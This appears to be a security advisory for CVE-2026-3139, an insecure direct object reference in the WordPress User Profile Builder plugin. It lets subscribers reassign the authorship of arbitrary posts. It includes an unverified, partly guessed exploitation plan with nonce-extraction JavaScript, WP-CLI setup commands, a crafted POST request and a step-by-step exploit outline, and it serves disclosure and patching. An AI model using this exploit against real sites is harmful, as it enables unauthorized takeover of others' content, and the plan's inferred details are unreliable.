CVE-2026-3139

User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor <= 3.15.5 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Post Author Reassignment via Avatar Field

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.15.6
Patched in
1d
Time to patch

Description

The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.15.5 via the wppb_save_avatar_value() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to reassign ownership of arbitrary posts and attachments by changing 'post_author'.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.15.5
PublishedMarch 30, 2026
Last updatedMarch 31, 2026
Affected pluginprofile-builder

What Changed in the Fix

Changes introduced in v3.15.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation process for **CVE-2026-3139**, an Insecure Direct Object Reference (IDOR) vulnerability in the **User Profile Builder** plugin. The vulnerability allows authenticated users (Subscriber level and above) to reassign the ownership of arbitrary WordPress …

Show full research plan

This plan outlines the research and exploitation process for CVE-2026-3139, an Insecure Direct Object Reference (IDOR) vulnerability in the User Profile Builder plugin. The vulnerability allows authenticated users (Subscriber level and above) to reassign the ownership of arbitrary WordPress posts or attachments to themselves by manipulating the Avatar field during a profile update.


1. Vulnerability Summary

  • Vulnerability: Insecure Direct Object Reference (IDOR)
  • Affected Function: wppb_save_avatar_value() (likely located in front-end/extra-fields/avatar/avatar.php or front-end/edit-profile.php)
  • Root Cause: The function wppb_save_avatar_value() processes user-submitted avatar data. It likely accepts an attachment ID or post ID from a request parameter and updates the post_author of that ID to the current user's ID without verifying that the user owns the post or that the post is actually an uploaded avatar.
  • Impact: Arbitrary Post/Attachment takeover. An attacker can become the author of any post, page, or media item, potentially gaining the ability to edit or delete it depending on their role's capabilities over their own posts.

2. Attack Vector Analysis

  • Endpoint: The Edit Profile page (frontend) generated by the [wppb-edit-profile] shortcode.
  • Method: POST request to the page URL containing the edit profile form.
  • Vulnerable Parameter: The field associated with the "Avatar" type. Based on standard Profile Builder naming conventions, this is typically hidden_avatar_attachment_id_{field_id} or avatar_{field_id}.
  • Authentication: Subscriber level or higher is required.
  • Precondition: An "Avatar" field must be added to the Profile Builder form fields (Manage Form Fields).

3. Code Flow (Inferred)

  1. Entry Point: A user submits the Edit Profile form.
  2. Hook: The plugin triggers the profile update logic, often hooked to profile_update or via its own wppb_edit_profile processing logic.
  3. Field Processing: The plugin iterates through the defined fields. For the "Avatar" field type, it calls wppb_save_avatar_value().
  4. Vulnerable Logic:
    • The function retrieves a post ID from the $_POST array (e.g., an attachment ID intended to be the avatar).
    • It calls wp_update_post() or a similar database operation.
    • It sets 'post_author' => $current_user_id for the provided ID.
  5. Sink: wp_update_post( array( 'ID' => $user_provided_id, 'post_author' => $attacker_user_id ) ).

4. Nonce Acquisition Strategy

The Edit Profile form is protected by a WordPress nonce.

  1. Identify Shortcode: The plugin uses [wppb-edit-profile] to display the edit profile form.
  2. Create Setup Page: Use WP-CLI to create a page with this shortcode.
  3. Navigate and Extract:
    • Log in as a Subscriber.
    • Navigate to the created page using browser_navigate.
    • The nonce is usually in a hidden input field named _wpnonce or wppb_edit_profile_nonce.
    • JS Extraction:
      // Check for common Profile Builder nonce locations
      document.querySelector('input[name="_wpnonce"]')?.value || 
      document.querySelector('input[name="wppb_edit_profile_nonce"]')?.value
      

5. Test Data Setup

  1. Target Content: Create a post as the Administrator (ID will be the target).
    • wp post create --post_type=post --post_title="Sensitive Post" --post_status=publish --post_author=1 (Note the returned ID, e.g., 123).
  2. Attacker User: Create a Subscriber user.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Plugin Config: Ensure an "Avatar" field exists.
    • wp eval "wppb_fields_list();" to check existing fields.
    • If missing, add it (usually requires wppb_manage_fields option manipulation or using the admin UI).
  4. Form Page:
    • wp post create --post_type=page --post_title="Edit Profile" --post_content='[wppb-edit-profile]' --post_status=publish

6. Exploitation Strategy

Step 1: Discover Field ID

Navigate to the Edit Profile page as the Subscriber and find the name attribute of the Avatar field. It usually looks like avatar_nn or hidden_avatar_attachment_id_nn.

Step 2: Craft the Takeover Request

Perform a POST request to the Edit Profile page URL.

  • URL: http://localhost:8080/edit-profile/
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: (If applicable, though Profile Builder often processes via init)
    • wppb_edit_profile: true
    • wppb_edit_profile_nonce: [EXTRACTED_NONCE]
    • [AVATAR_FIELD_NAME]: [TARGET_POST_ID] (The ID of the Admin's post)
    • username: attacker
    • email: attacker@example.com

Step 3: Execution via http_request

{
  "method": "POST",
  "url": "http://localhost:8080/index.php/edit-profile/",
  "params": {
    "wppb_edit_profile": "true",
    "wppb_edit_profile_nonce": "a1b2c3d4e5",
    "avatar_5": "123", 
    "email": "attacker@example.com",
    "nickname": "attacker"
  }
}

(Note: avatar_5 is an example; the exact field ID must be found in the HTML source.)

7. Expected Results

  • The plugin will process the update.
  • Because wppb_save_avatar_value() does not verify that $_POST['avatar_5'] (ID 123) is an attachment belonging to the user, it will execute an update command on Post 123.
  • The post_author of Post 123 will be changed from 1 (Admin) to the Attacker's User ID.

8. Verification Steps

After the exploit, use WP-CLI to verify the change in ownership:

  1. Check Post Author:
    • wp post get 123 --field=post_author
    • Success Condition: The output matches the Attacker's User ID.
  2. Check Metadata (Optional):
    • wp post meta list 123 (To see if any avatar-specific meta was incorrectly added to the post).

9. Alternative Approaches

  • Attachment Takeover: Instead of a post, target an attachment ID (post_type=attachment) belonging to the Admin. This is often easier to hide.
  • Backend Profile Update: If the vulnerability exists in admin/admin-functions.php (as suggested by the source file list), the exploit might be triggered via /wp-admin/profile.php if the plugin injects its fields there.
  • AJAX Endpoint: Check if the avatar upload/save is handled via wp_ajax_wppb_save_avatar. If so, the request would go to admin-ajax.php with the action parameter.
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Profile Builder plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the `wppb_save_avatar_value()` function. Authenticated attackers with subscriber-level access and above can reassign ownership of arbitrary posts or attachments to themselves by manipulating the avatar attachment ID parameter during a profile update.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/profile-builder/3.15.5/add-ons-free/custom-css-classes-on-fields/assets/js/main.js /home/deploy/wp-safety.org/data/plugin-versions/profile-builder/3.15.6/add-ons-free/custom-css-classes-on-fields/assets/js/main.js
--- /home/deploy/wp-safety.org/data/plugin-versions/profile-builder/3.15.5/add-ons-free/custom-css-classes-on-fields/assets/js/main.js	2023-11-27 09:16:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/profile-builder/3.15.6/add-ons-free/custom-css-classes-on-fields/assets/js/main.js	2026-03-13 08:40:38.000000000 +0000
@@ -8,7 +8,7 @@
         return false;
     }
 
-    var updateFields = ['Default - Name (Heading)', 'Default - Contact Info (Heading)', 'Default - About Yourself (Heading)', 'Default - Username', 'Default - First Name', 'Default - Last Name', 'Default - Nickname', 'Default - E-mail', 'Default - Website', 'Default - AIM', 'Default - Yahoo IM', 'Default - Jabber / Google Talk', 'Default - Password', 'Default - Repeat Password', 'Default - Biographical Info', 'Default - Display name publicly as', 'Heading', 'Input', 'Textarea', 'WYSIWYG', 'Select', 'Datepicker', 'Select (Multiple)', 'Checkbox', 'Radio', 'Upload', 'Phone', 'Timepicker', 'Colorpicker', 'Validation', 'Select (User Role)', 'Select (CPT)', 'Select (Timezone)', 'Select (Country)', 'Select (Currency)', 'Email', 'URL', 'GDPR Checkbox', 'GDPR Delete Button', 'Map', 'Number', 'Avatar', 'Input (Hidden)', 'Language', 'HTML', 'Select2', 'Checkbox (Terms and Conditions)', 'reCAPTCHA', 'Select2 (Multiple)', 'Honeypot', 'Email Confirmation' ];
+    var updateFields = ['Default - Name (Heading)', 'Default - Contact Info (Heading)', 'Default - About Yourself (Heading)', 'Default - Username', 'Default - First Name', 'Default - Last Name', 'Default - Nickname', 'Default - E-mail', 'Default - Website', 'Default - AIM', 'Default - Yahoo IM', 'Default - Jabber / Google Talk', 'Default - Password', 'Default - Repeat Password', 'Default - Biographical Info', 'Default - Display name publicly as', 'Heading', 'Input', 'Textarea', 'WYSIWYG', 'Select', 'Datepicker', 'Select (Multiple)', 'Checkbox', 'Radio', 'Upload', 'Phone', 'Timepicker', 'Colorpicker', 'Validation', 'Select (User Role)', 'Select (CPT)', 'Select (Timezone)', 'Select (Country)', 'Select (Currency)', 'Email', 'URL', 'GDPR Checkbox', 'GDPR Delete Button', 'Map', 'Number', 'Avatar', 'Input (Hidden)', 'International Telephone Input','Language', 'HTML', 'Select2', 'Checkbox (Terms and Conditions)', 'reCAPTCHA', 'Select2 (Multiple)', 'Honeypot', 'Email Confirmation' ];
 
     for( var i = 0; i < updateFields.length; i++ ) {
         fields[ updateFields[i] ]['show_rows'].push( '.row-class-field' );
... (truncated)

Exploit Outline

1. Authenticate to the WordPress site as a Subscriber-level user. 2. Navigate to a page containing the frontend profile edit form (generated by the `[wppb-edit-profile]` shortcode). 3. Inspect the form to find the field name corresponding to the Avatar (e.g., `avatar_5` or `hidden_avatar_attachment_id_5`) and extract the CSRF nonce (e.g., `_wpnonce` or `wppb_edit_profile_nonce`). 4. Identify a target post ID or attachment ID that belongs to another user (e.g., an Administrator's post). 5. Submit a POST request to the profile update endpoint with the `wppb_edit_profile` parameter set to `true`, the extracted nonce, and the avatar field parameter set to the target post ID. 6. The plugin processes the update and, because it lacks authorization checks on the avatar ID, executes an update setting the `post_author` of the target ID to the attacker's user ID.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.